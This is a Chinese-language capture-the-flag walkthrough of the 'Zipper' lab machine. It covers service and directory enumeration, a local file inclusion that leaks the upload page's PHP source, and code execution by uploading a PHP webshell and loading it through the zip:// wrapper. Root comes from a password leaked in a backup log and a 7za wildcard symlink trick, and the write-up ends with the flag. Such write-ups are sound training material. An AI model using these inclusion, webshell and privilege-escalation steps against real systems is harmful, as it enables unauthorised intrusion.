简介
point 25
Zipper
Difficulty Hard
rated by community Hard
实验环境
攻击者 Kali 192.168.45.206
受害者 IP 192.168.241.229 Linux
1. 信息收集
收集受害者服务详情
nmap -sV -A 192.168.241.229
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
FUZZ测试
export URL="http://192.168.241.229/FUZZ"
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-large-files.txt --hc 404 "$URL"
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt --hc 404 "$URL"
2. 漏洞发掘与利用
查看源代码
发现有一个参数file 看情况有可能可以LFI
我们就直接用php://filter
http://192.168.241.229/?file=php://filter/convert.base64-encode/resource=upload
得到base64编码的页面
到CyberChef解码
<?php
if ($_FILES && $_FILES['img']) {
if (!empty($_FILES['img']['name'][0])) {
$zip = new ZipArchive();
$zip_name = getcwd() . "/uploads/upload_" . time() . ".zip";
// Create a zip target
if ($zip->open($zip_name, ZipArchive::CREATE) !== TRUE) {
$error .= "Sorry ZIP creation is not working currently.<br/>";
}
$imageCount = count($_FILES['img']['name']);
for($i=0;$i<$imageCount;$i++) {
if ($_FILES['img']['tmp_name'][$i] == '') {
continue;
}
$newname = date('YmdHis', time()) . mt_rand() . '.tmp';
// Moving files to zip.
$zip->addFromString($_FILES['img']['name'][$i], file_get_contents($_FILES['img']['tmp_name'][$i]));
// moving files to the target folder.
move_uploaded_file($_FILES['img']['tmp_name'][$i], './uploads/' . $newname);
}
$zip->close();
// Create HTML Link option to download zip
$success = basename($zip_name);
} else {
$error = '<strong>Error!! </strong> Please select a file.';
}
}
上传一个php木马
之后我们可以使用
PHP ZIP:// RCE 包装器
上传后可以下载 用BurpSuite拦截 并修改数据包内容
/index.php?file= 然后拼接上传路径 uploads/upload_1712835201.zip (点击download拦截后能看到)
/index.php?file=zip://uploads/upload_1712835201.zip%23shell1
Kali监听木马设置的端口
发送后就能拿到shell
3. 后渗透阶段
发现定时任务有特殊条目
查看内容
最后用7za 运行了一串命令
先查看一下/opt/backups/backup.log
WildCardsGoingWild
我尝试了一下 直接就是root的密码
提权成功
补充
在backup.sh中发现
#!/bin/bash
password=`cat /root/secret`
cd /var/www/html/uploads
rm *.tmp
7za a /opt/backups/backup.zip -p$password -tzip *.zip > /opt/backups/backup.log
root在7za中使用了通配符
可以查看下面的文章
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks?source=post_page—–b49a52ed8e38——————————–
我们来实践一下
cd /var/www/html/uploads
touch @root.txt
ln -s /root/proof.txt root.txt
我们创建一个root.txt 软链接到/root/proof.txt也就是flag文件
过一会可以看到root.txt中就有了proof.txt文件的内容
cat root.txt
7bc8c2826738deecbb80e46c333dec12